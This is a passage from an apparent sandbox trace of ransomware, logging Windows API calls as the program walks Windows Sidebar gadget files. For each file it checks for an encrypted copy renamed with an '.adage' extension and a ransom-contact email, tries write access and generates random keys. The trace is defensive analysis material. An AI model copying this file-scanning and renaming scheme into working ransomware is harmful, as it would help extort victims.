dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.668] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4395) returned 1 [0066.668] CloseHandle (hObject=0x184) returned 1 [0066.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\flyoutBack.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\flyoutback.png")) returned 0x20 [0066.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\flyoutBack.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\flyoutback.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\flyoutBack.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\flyoutback.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.669] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\navback.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.669] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3242) returned 1 [0066.669] CloseHandle (hObject=0x184) returned 1 [0066.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\navback.png")) returned 0x20 [0066.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\navback.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\navback.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.670] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_docked.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.673] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5980) returned 1 [0066.673] CloseHandle (hObject=0x184) returned 1 [0066.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_docked.png")) returned 0x20 [0066.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_docked.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_docked.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_docked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.674] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_Undocked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_undocked.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.674] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=8942) returned 1 [0066.674] CloseHandle (hObject=0x184) returned 1 [0066.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_Undocked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_undocked.png")) returned 0x20 [0066.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_Undocked.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_undocked.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssBackBlue_Undocked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rssbackblue_undocked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.674] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssLogo.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rsslogo.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.675] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1696) returned 1 [0066.675] CloseHandle (hObject=0x184) returned 1 [0066.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssLogo.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rsslogo.gif")) returned 0x20 [0066.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssLogo.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rsslogo.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssLogo.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rsslogo.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.676] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_docked.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.676] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2957) returned 1 [0066.676] CloseHandle (hObject=0x184) returned 1 [0066.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_docked.png")) returned 0x20 [0066.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_docked.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_docked.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_docked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.676] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_floating.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_floating.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.677] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2999) returned 1 [0066.677] CloseHandle (hObject=0x184) returned 1 [0066.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_floating.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_floating.png")) returned 0x20 [0066.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_floating.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_floating.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_floating.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_floating.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.678] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_flyout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_flyout.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.678] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1266) returned 1 [0066.678] CloseHandle (hObject=0x184) returned 1 [0066.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_flyout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_flyout.png")) returned 0x20 [0066.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_flyout.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_flyout.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_flyout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_flyout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.678] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\logo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.679] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6166) returned 1 [0066.679] CloseHandle (hObject=0x184) returned 1 [0066.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\logo.png")) returned 0x20 [0066.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\logo.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.681] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.683] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=30069) returned 1 [0066.683] CloseHandle (hObject=0x184) returned 1 [0066.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png")) returned 0x20 [0066.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.684] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.685] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1296) returned 1 [0066.685] CloseHandle (hObject=0x184) returned 1 [0066.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\settings.css")) returned 0x20 [0066.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\settings.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.685] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\slideShow.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\slideshow.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.686] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4528) returned 1 [0066.686] CloseHandle (hObject=0x184) returned 1 [0066.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\slideShow.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\slideshow.css")) returned 0x20 [0066.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\slideShow.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\slideshow.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\slideShow.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\slideshow.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.687] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.688] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=989) returned 1 [0066.688] CloseHandle (hObject=0x184) returned 1 [0066.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml")) returned 0x20 [0066.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.688] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\slideShow.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\slideshow.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.689] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=55660) returned 1 [0066.689] CloseHandle (hObject=0x184) returned 1 [0066.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\slideShow.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\slideshow.js")) returned 0x20 [0066.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\slideShow.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\slideshow.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\slideShow.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\slideshow.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.689] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\settings.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.690] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6416) returned 1 [0066.690] CloseHandle (hObject=0x184) returned 1 [0066.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\settings.html")) returned 0x20 [0066.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\settings.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\settings.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.690] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0066.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\slideShow.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\slideshow.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0066.690] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3428) returned 1 [0066.690] CloseHandle (hObject=0x184) returned 1 [0066.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\slideShow.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\slideshow.html")) returned 0x20 [0066.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\slideShow.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\slideshow.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0066.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows 